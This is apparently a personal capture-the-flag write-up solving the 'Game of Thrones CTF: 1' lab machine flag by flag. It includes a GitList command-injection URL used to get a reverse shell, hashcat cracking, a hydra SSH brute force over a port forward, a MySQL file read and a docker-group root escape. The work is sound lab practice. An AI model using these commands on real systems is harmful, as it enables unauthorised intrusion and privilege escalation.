Last updated: 15 Apr 24 09:27:10 (UTC)

complete GameOfThrones

GameOfThrones

By Lawcky 08/02/2024

Introduction

GameOfThrones

b540d57121a55a57eb67dfdfe56f18f0.png

Difficulty : Hard

Additionnal info :

Name: Game of Thrones CTF: 1
Release date: 8 Sep 2017
Author: OscarAkaElvis
Series: Game of Thrones CTF

|NOTE| for this write-up every screen shot and ressources will be listed in this single page.


In this write-up

  • nmap
  • ffuf
  • ftp
  • burp-suite
  • knockd (port knocking)
  • hashcat
  • mcrypt
  • strings, binwalk & exiftool
  • dig linux command
  • webmin & cheerpJ
  • postgresql
  • Rot cypher
  • imap
  • git list
  • rce git list
  • mysql
  • read a system file through mysql
  • port forwarding using ssh
  • hydra
  • docker group privesc

Write-UP

Nmap

a51511ddd147d7d4230435a168a10e35.png


Enumerating:

f50a19fed340c307ad48aeea7cd11a87.png

/the-tree/ : picture with text
source code :"You mUSt changE your own shape and foRm if you wAnt to GEt the right aNswer from the Three-eyed raven" - Written on the tree by somebody

/secret-island/ : image and map link
source code :"Take this map and use it wisely. I want to be your friend" - Petyr (Littlefinger) Baelish

/direct-access-to-kings-landing/ : image
source code :"I've heard the savages usually play music. They are not as wild as one can expect, are they?" - Sansa Stark

192.168.1.12:10000
d84371718a9b9c546e95d63b47356ddf.png


Found the MAP

d147e9271d49d88eeb8b6ee0e060eac4.png
the write-up will folow the map order


The Dorne (FTP)

57c62fa8014910b042b54acb2347711d.png

fail2ban is installed so no bruteforcing, and we need a username/password other than anonymous

after changing my User-Agent to Three-eyed-raven (using the tips of the robots.txt above) and accessing the /the-tree/ I access another image with a different source code :

<!--"I will give you three hints, I can see the future so listen carefully" - The three-eyed raven Bran Stark"To enter in Dorne you must identify as oberynmartell. You still should find the password""3487 64535 12345 . Remember these numbers, you'll need to use them with POLITE people you'll know when to use them""The savages never crossed the wall. So you must look for them before crossing it"-->

seeing this order 3487 64535 12345 i thought it looked familiar with another machine i did and tried Port Knocking,

knock 192.168.1.12 3487 64535 12345

before port knocking
143/tcp filtered imap

after port knocking
143/tcp open imap Dovecot imapd
turns out it was not necessary for first flag but anyway its done

still needing more information i went back to the port 80 and tried to gather more information

fuzzing

i found http://192.168.1.12/h/
then /i/d/d/e/n/

87851bba0e35bd76593fffe050538396.png

source code : "My little birds are everywhere. To enter in Dorne you must say: A_verySmallManCanCastAVeryLargeShad0w . Now, you owe me" - Lord (The Spider) Varys "Powerful docker spells were cast over all kingdoms. We must be careful! You can't travel directly from one to another... usually. That's what the Lord of Light has shown me" - The Red Woman Melisandre

we now have :

user :

oberynmartell

in base64 :

b2JlcnlubWFydGVsbA==

password :

A_verySmallManCanCastAVeryLargeShad0w

in base64:

QV92ZXJ5U21hbGxNYW5DYW5DYXN0QVZlcnlMYXJnZVNoYWQwdw==

command :
ftp oberynmartell@192.168.1.12
+ password

0e29bda659553037ddd2ac10698129df.png

fb8d98be1265dd88bac522e1b2182140

Fist flag found


The Wall & The North (http)

Mcrypt file

4a21bb84c3298501f4bb0999cc5ce8a3.png

we get two things from that :

md5(md5($s).$p)

nobody:6000e084bf18c302eae4559d48cb520c$2hY68a

we also get a file

246136e05aad844f5a8c197c31340504.png

it is encrypted using the mcrypt tools and it needs a passphrase in order to be decrypted.

4100f9996947cc07f383e36ec1c52ff1.png

we know that the format is md5(md5($s).$p)

and we have the user nobody and 6000e084bf18c302eae4559d48cb520c$2hY68a

using hashcat mode 20 ends in a failure,
since we know the format lets try breaking the hash with the md5sum of the salt given $2hY68a

echo -n '2hY68a' | md5sum
0cbb5be2c4504bed573802efbd909965

echo -n 6000e084bf18c302eae4559d48cb520c:0cbb5be2c4504bed573802efbd909965 > hash

hashcat -m 20 hash ~/tools/seclists/rockyou.txt

9524a075b1645644d5fadbb91fad22ba.png

nobody:stark

back to our mcrypt file

8430589df8a45946ac091bee01fabb1e.png

90878f2ccbd9b81d7237e64a58878296.png


Http

jonsnow:Ha1lt0th3k1ng1nth3n0rth!!!

http://winterfell.7kingdoms.ctf/------W1nt3rf3ll------

after adding it to /etc/hosts :

ad341a96e0147a180fe64c18d2a55159.png

bef42afb8018108b2d9382abb4e7a5c9.png

source code : Welcome to Winterfell You conquered the Kingdom of the North. This is your second kingdom flag! 639bae9ac6b3e1a84cebb7b403297b79 We must do something here before travelling to Iron Islands, my lady" - Podrick Payne "Yeah, I can feel the magic on that shield. Swords are no more use here" - Brienne Tarth

639bae9ac6b3e1a84cebb7b403297b79

Second flag found


Iron Islands (DNS)

"Yeah, I can feel the magic on that shield. Swords are no more use here" - Brienne Tarth

seems to be referring to one of the images on the website, lets see if there is anything hidden inside.

using strings commands we found a couple of things with for exemple :

"Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoy

using dnsenum

180db0dda6618627adf8666529169da0.png

tried :

dig Timef0rconqu3rs.7kingdoms.ctf @192.168.1.12
&
dig VGltZWYwcmNvbnF1M3JzCg==.7kingdoms.ctf @192.168.1.12
&
nslookup 'VGltZWYwcmNvbnF1M3JzCg==.7kingdoms.ctf' 192.168.1.12
&
sudo iodine -f -P Timef0rconqu3rs 192.168.1.12 7kingdoms.ctf
&
dig Timef0rconqu3rs @192.168.1.12

the right command was :

dig txt Timef0rconqu3rs.7kingdoms.ctf -p 53 @192.168.1.12

6d5add312525e9bd7f6758bdad648f20.png

Timef0rconqu3rs.7kingdoms.ctf. 86400 IN TXT "You conquered Iron Islands kingdom flag: 5e93de3efa544e85dcd6311732d28f95. Now you should go to Stormlands at http://stormlands.7kingdoms.ctf:10000 . Enter using this user/pass combination: aryastark/N3ddl3_1s_a_g00d_sword#!"

5e93de3efa544e85dcd6311732d28f95

Third flag found


Savages Flag (secret)

based on the sentence:
I've heard the savages usually play music. They are not as wild as one can expect, are they?" - Sansa Stark

i thought the secret flag could have been inside the music on the home page,

downloaded both the .wav and the .mp3,

nothing was hidden inside the .wav but inside the .mp3 using the strings command i found the flag

82b677cfdccff9a46b3f395e64d2dd33.png

later in the write-up i found out that this flag wasnt complete, by using a more adapted tools such as exiftool i was able to get the full flag :

7d2e0597139674d6a0ff80fc24af4e0d.png

8bf8854bebe108183caeb845c7676ae4

First secret flag found


Stormlands (webmin)

aryastark/N3ddl3_1s_a_g00d_sword#!

http://stormlands.7kingdoms.ctf:10000

57c154e5db5d37cf7446dd867709ca78.png

we are looking for ~/flag.txt

http://stormlands.7kingdoms.ctf:10000/file/
is bugged

21d095e4ad32462019ac6800a7da3b96.png
since java is not supported by web browsers since end of 2017 this part is not possible to achieve anymore.

after 3 different web browsers, 4 unsuccessful installation of chromium on 2 different machine with the cheerpJ plugin, all that on 2 different OS i finally manage to make chromium work with cheerpJ to access the file !

installation time : about 1h30min
get the flag : litterally 10 seconds

                                                    15bd9545fbf2cbcb32b98b9a4e428a81.png

48bc417ecd14aa00f731054c9dc49e55.png

The credentials to access to the Mountain and the Vale kingdom are: user/pass: robinarryn/cr0wn_f0r_a_King-_ db: mountainandthevale pgAdmin magic will not work. Command line should be used on that kingdom - Talisa Maegyr

8fc42c6ddf9966db3b09e84365034357

Fourth flag found


Mountain and the Vale (postgresql)

robinarryn:cr0wn_f0r_a_King-_

psql -h 192.168.1.12 -p 5432 -U robinarryn -W -d mountainandthevale

e81977ae0ce14928187f4f79df6c08f6.png

lets search the databases :
kill_list
a11531fca159c8638cc33534b66c886f.png
Bravoos book
0cb9b2390944b16b9c3ada42aa6c3827.png

Dro wkxi-pkmon qyn gkxdc iye dy mrkxqo iyeb pkmo. Ro gkxdc iye dy snoxdspi kc yxo yp iyeb usvv vscd. Covomd sd lkcon yx drsc lyyu'c vycd zkqo xewlob. Dro nkdklkco dy myxxomd gsvv lo lbkkfyc kxn iyeb zkccgybn gsvv lo: FkvkbWybqrevsc
looks like Rot Cypher

75978e7f08b5611b0fa8e5e0012049fd.png

15807c4e4c40308252020d102c7be3bc.png

lets first go back to the Rot


City Of Bravoos (secret)

once decypher it is :

The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis

the missing page is the fifth
so : TheRedWomanMelisandre

a418b30aa48b605bd923ae8f594ddd68.png

3f82c41a70a8b0cfec9052252d9fd721

Second secret flag found


There is a mention of knocking and ‘POLITE’ people, which means that the port knocking was supposed to be done here, anyway its already done

There is also a mention about the face that we ‘OWN’ our destiny might be something to do with rights and a mention about a secret tunnel in a docker reference to a docker escape probably

f33afa4465ebe6c675711a1b6bbe9773.png

found the flag in the relation table, cant read it yet but i am indeed the owner of it, i just have to change the permissions.

GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO robinarryn;

then we open the table

91397265324f10626661cdaca0cd790c.png

we get a base64 encoded message

echo 'TmljZSEgeW91IGNvbnF1ZXJlZCB0aGUgS2luZ2RvbSBvZiB0aGUgTW91bnRhaW4gYW5kIHRoZSBWYWxlLiBUaGlzIGlzIHlvdXIgZmxhZzogYmIzYWVjMGZkY2RiYzI5NzQ4OTBmODA1YzU4NWQ0MzIuIE5leHQgc3RvcCB0aGUgS2luZ2RvbSBvZiB0aGUgUmVhY2guIFlvdSBjYW4gaWRlbnRpZnkgeW91cnNlbGYgd2l0aCB0aGlzIHVzZXIvcGFzcyBjb21iaW5hdGlvbjogb2xlbm5hdHlyZWxsQDdraW5nZG9tcy5jdGYvSDFnaC5HYXJkM24ucG93YWggLCBidXQgZmlyc3QgeW91IG11c3QgYmUgYWJsZSB0byBvcGVuIHRoZSBnYXRlcw==' | base64 -d

Nice! you conquered the Kingdom of the Mountain and the Vale. This is your flag: bb3aec0fdcdbc2974890f805c585d432. Next stop the Kingdom of the Reach. You can identify yourself with this user/pass combination: olennatyrell@7kingdoms.ctf:H1gh.Gard3n.powah , but first you must be able to open the gates

bb3aec0fdcdbc2974890f805c585d432

Fifth flag found


The Reach (imap)

olennatyrell@7kingdoms.ctf:H1gh.Gard3n.powah
since we already did the port knocking we dont have to do it again

8074fd504d9a75d1d9d95d39dbc40129.png

imap commands are annoying lets just use a imap client

f49d92ac4496290be5f0f314f8c75ce8.png

aee750c2009723355e2ac57564f9c3db

sixth flag found


The Rock (gitlist)

Now you can auth on next Kingdom (The Rock, port 1337)

TywinLannister:LannisterN3verDie!

we can connect to it at :
http://192.168.1.12:1337/

647557d025254eda8f6be97ebccb9961.png

Enumerating

ffe6378418a54726b3cb33807b91721e.png

2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874 looks like hex

more text…

93e7f19d4dd68e04a27363e7a88f9cd7.png

even more text…

c98e7a83f5f4d5aa5069299f56642317.png


Exploiting

lets try a remote code execution, since we have no way of knowing what is the actual version of the gitlist service i used an exploit that was discovered before the release of the machine.

940f59b85d12b7c36d60c8550bc874b6.png

by default the exploit doesnt ask for credentials, to bypass this we use the url format http://user:pass@domain.com/ to still login

once we decode the hex above 2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874

to

/home/tyrionlannister/checkpoint.txt

lets try to read this file with the exploit

6870892b434ae54b820b2a0ea26fc0fd.png

i have setup a listening netcat to intercept the file incase it does work

d9a9fd2fb21c69f6451a6a42a7e90497.png

the exploit is running but it does not seem to be executing any commands.

after searching through more known rce exploit i was able to find one in one of the urls :

http://192.168.1.12:1337/casterly-rock/tree/master/%22%22%60whoami%60/

57faee0661ee3456d742a68ada551871.png

i got a reverse shell

9b9130f7e72c120619a8a998c3cf489e.png


The King’s Landing

cerseilannister:_g0dsHaveNoMercy_
db: kingslanding

mysql -h 192.168.1.12 -u cerseilannister -p -D kingslanding

6866ac92d36be5db60854ccf828dc38f.png

-..-. . - -.-. -..-. -- -.-- ... --.- .-.. -..-. ..-. .-.. .- --. it is morse code

/ETC/MYSQL/FLAG

after looking at the privileges :

eef8c479ffcfb4401344b7f001d3f8f6.png

using the CREATE TABLE ..; command and the LOAD DATA INFILE '..' INTO TABLE ..; i can read the file.

c153ac60a7628a57edacd9a5c6db470f.png

c8d46d341bea4fd5bff866a65ff8aea9

Seventh flag found


Dragonglass mine (secret)

daenerystargaryen:.Dracarys4thewin.

045d2b362aa61742f720f98e1d4f672e.png

we now have access to a hidden machine 172.25.0.2

we also have a wordlist and an explanation that fail2ban is not setup for this.

lets create a port forwarding from our machine to that hidden machine that’ll pass through the ssh connection, than we use that same port forwarding to bruteforce using the given wordlists for user root.

ssh -L 10000:172.25.0.2:22 daenerystargaryen@192.168.1.12

4973709971cfd49953e8fa6228b420b9.png

it worked !

now hydra :

hydra -l root -P digger.txt ssh://127.0.0.1:10000

fbbc0496939fc794f04055c9a276af78.png

root:Dr4g0nGl4ss!

8d726cd5ec4653aa8c13b98eb803026a.png

a8db1d82db78ed452ba0882fb9554fc9

Third secret flag found


White Walkers Final Battle (ssh)

branstark:Th3_Thr33_Ey3d_Raven

“The time has come” - The Three Eyed Raven

699ddafca99cf2acaa083521ea1fd4e7.png

using the docker group we can easily privesc to root user

using hacktricks with the docker image ironislands

docker run -it -v /:/host/ ironislands chroot /host/ bash

eb96937c7bb7bf3eff6f5533c5b1351f.png

secret_flag1=8bf8854bebe108183caeb845c7676ae4
secret_flag2=3f82c41a70a8b0cfec9052252d9fd721
secret_flag3=a8db1d82db78ed452ba0882fb9554fc9

the result is apparently
8bf8854be9fd721b9554fc9

and the file type of final_battle is a zip file.

final_battle: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

by analysing this :

useful-pseudo-code-on-invented-language = concat(substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)), substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)), substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3)))

we understand that the final password is basically the last 10 digits of the three flags concat together.

45c7676ae4252d9fd7212fb9554fc9

4e0b2e6c22f651dcfcfc26b52a15ed10.png

679554654a51f2194752c706fd1254d6.png

8e63dcd86ef9574181a9b6184ed3dde5

Final flag found

the GameOfThrones machine is finally finished.


Final Message

the 11 flags are a sentences, lets use hashcat to get it.

 

5376c91ca8d09129f96de5387ecfa246.png